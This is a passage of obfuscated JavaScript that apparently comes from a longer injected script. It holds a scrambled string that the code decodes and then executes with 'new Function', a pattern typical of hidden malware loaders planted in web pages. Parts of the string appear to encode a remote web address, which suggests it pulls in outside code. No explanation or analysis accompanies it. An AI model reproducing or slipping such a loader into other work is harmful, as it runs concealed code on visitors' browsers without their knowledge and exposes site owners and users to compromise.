0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();